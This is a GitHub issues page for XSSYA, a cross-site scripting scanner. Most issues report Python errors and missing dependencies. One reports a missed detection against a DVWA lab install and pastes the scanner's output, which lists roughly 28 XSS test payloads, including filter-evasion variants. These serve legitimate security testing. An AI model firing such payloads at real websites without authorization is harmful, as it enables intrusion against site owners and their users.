yehia-mamdouh/xssya

XSSYA (Cross Site Scripting Scanner & Vulnerability Confirmation)

xssya's Issues

Feature: Commandline parameters

Currently it has an interactive question&answer interface.
Would be nice to provide these answers from command line, for example:
xssya -u 'http://example.comtest.php?name=test'

Missing parentheses in call to 'print

File "xssya.py", line 85
print Fore.RED + "Testing:",link[0]+exploit
^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(Fore.RED + "Testing:",link[0]+exploit)?

xssya v2 error

[-] Not Vulnerable.

[+] Confirmed Payload Found in Web Page Code
Traceback (most recent call last):
File "xssya.py", line 646, in
short = s.shorten(host+exploi)[0]
File "build\bdist.win32\egg\gdshortener\gdshortener.py", line 258, in shorten
File "C:\Python27\lib\json_init_.py", line 339, in loads
return _default_decoder.decode(s)
File "C:\Python27\lib\json\decoder.py", line 364, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Python27\lib\json\decoder.py", line 382, in raw_decode
raise ValueError("No JSON object could be decoded")
ValueError: No JSON object could be decoded

problem with colorama import

when i try to open xssya this problem appear
linux@linux ~/XSSYA $ python xssya.py
Traceback (most recent call last):
File "xssya.py", line 20, in
from colorama import Fore, Back, Style
ImportError: cannot import name Fore

Undetected XSS vulnerability

Hi,

I've just test this one into the following test scenario:

1. I've installed the DVWA application over a Windows 2003 Server virtual machine.
2. I've chosen the XSS reflected from the exercises drop down.
3. I've manually XSS'ed the application and I've got a XSS screen.
   The used patterns were <ScRIPT>prompt('XSS')</ScRIPT> and <script>alert('XSSYA')</script>
4. I've copied the vulnerable link and I've retested with XSSYA. See bellow:

"

Enter A Vulnerable Link: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=

XSSYA - M E N U

1. XSS Vulnerability Confirmation

2. XSS Scanner

   Enter your choice [1-2] : 1

Date: Tue, 05 Aug 2014 07:34:02 GMT
Server: Apache/2.4.7 (Win32) OpenSSL/0.9.8y PHP/5.4.25
X-Powered-By: PHP/5.4.25
Set-Cookie: PHPSESSID=e2to1m5drn7o6q7t1n143mk5h4; path=/
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: security=low
Content-Length: 1224
Connection: close
Content-Type: text/html;charset=utf-8
"

It has been determined by the application that the link is not vulnerable to XSS which is not true.

Here are the application output:
"
Scanning The Host: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=
[+] Loaded: 28 payloads

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=%22%3Cscript%3Ealert%28%27XSSYA%27%29%3C%2Fscript%3E
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=1%253CScRiPt%2520%253Eprompt%28962477%29%253C%2fsCripT%253E
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<script>alert('xssya')</script>
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name='';!--"=&{()}
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=%3CScRipt%3EALeRt(%27xssya%27)%3B%3C%2FsCRipT%3E<scr<script>ipt>alert(1)</scr<script>ipt>
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=%3cscript%3ealert(%27XSSYA%27)%3c%2fscript%3e
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=%3cbody%2fonhashchange%3dalert(1)%3e%3ca+href%3d%23%3eclickit
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=%3cimg+src%3dx+onerror%3dprompt(1)%3b%3e%0d%0a
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=%3cvideo+src%3dx+onerror%3dprompt(1)%3b%3e
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<iframesrc="javascript:alert(2)">
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<iframe/src="data:text/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=

Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<svg/onload=prompt(1);>
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<marquee/onstart=confirm(2)>/
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<q/oncut=open()>
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<a onmouseover=location=’javascript:alert(1)>click
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<script>alert&#40/1/&#41</script>
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script>
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<scri%00pt>alert(1);</scri%00pt>
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<scri%00pt>confirm(0);</scri%00pt>
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=5rt(0);'>rhainfosec
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<marquee/onstart=confirm(2)>
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=XSS
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Testing: http://192.168.2.130/dvwa/vulnerabilities/xss_r/?name=<svg/onload=prompt(1);>
Source Length: 1224

WAF Not Found

[-] Not Vulnerable.

[-] False Positive

Save Page CODE:? y

Print HTML CODE:? y
Date: Tue, 05 Aug 2014 07:36:37 GMT
Server: Apache/2.4.7 (Win32) OpenSSL/0.9.8y PHP/5.4.25
X-Powered-By: PHP/5.4.25
Set-Cookie: PHPSESSID=0l288no7jicbm4u69df3ksqjf6; path=/
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: security=low
Content-Length: 1224
Connection: close
Content-Type: text/html;charset=utf-8

<title>Damn Vulnerable Web App (DVWA) - Login</title> ... "

Distribution Request

I am a Developer for the ArchAssault Project, we woudl like to include this in our repo, but we noticed its missing a license. Can you please add a license file to it?

Issue when attempting to run xssya: ImportError: No module named gdshortener

When I try to run XSSYA, I receive the follow error ,

"ImportError: No module named gdshortener"

There is not much material on gdshortner .

I am running the latest version of Kali

Here is full output:

[r000t:/opt/XSSYA-V-2.0-master]# python xssya.py
Traceback (most recent call last):
File "xssya.py", line 19, in
import gdshortener
ImportError: No module named gdshortener

Looks like a great tool , would love to give it a try.

Thanks

Error in the script

root@root:~/hack/XSSYA# python xssya.py

Traceback (most recent call last):
File "xssya.py", line 67, in
class fake_ssl:
File "xssya.py", line 68, in fake_ssl
wrap_socket = partial(ssl.wrap_socket, ssl_version=ssl.PROTOCOL_SSLv3)
AttributeError: 'module' object has no attribute 'PROTOCOL_SSLv3'

No module named custom?

Does not run due to missing dependency import custom. Not sure if this was left on purpose. Removing it makes the scripts executable. ;)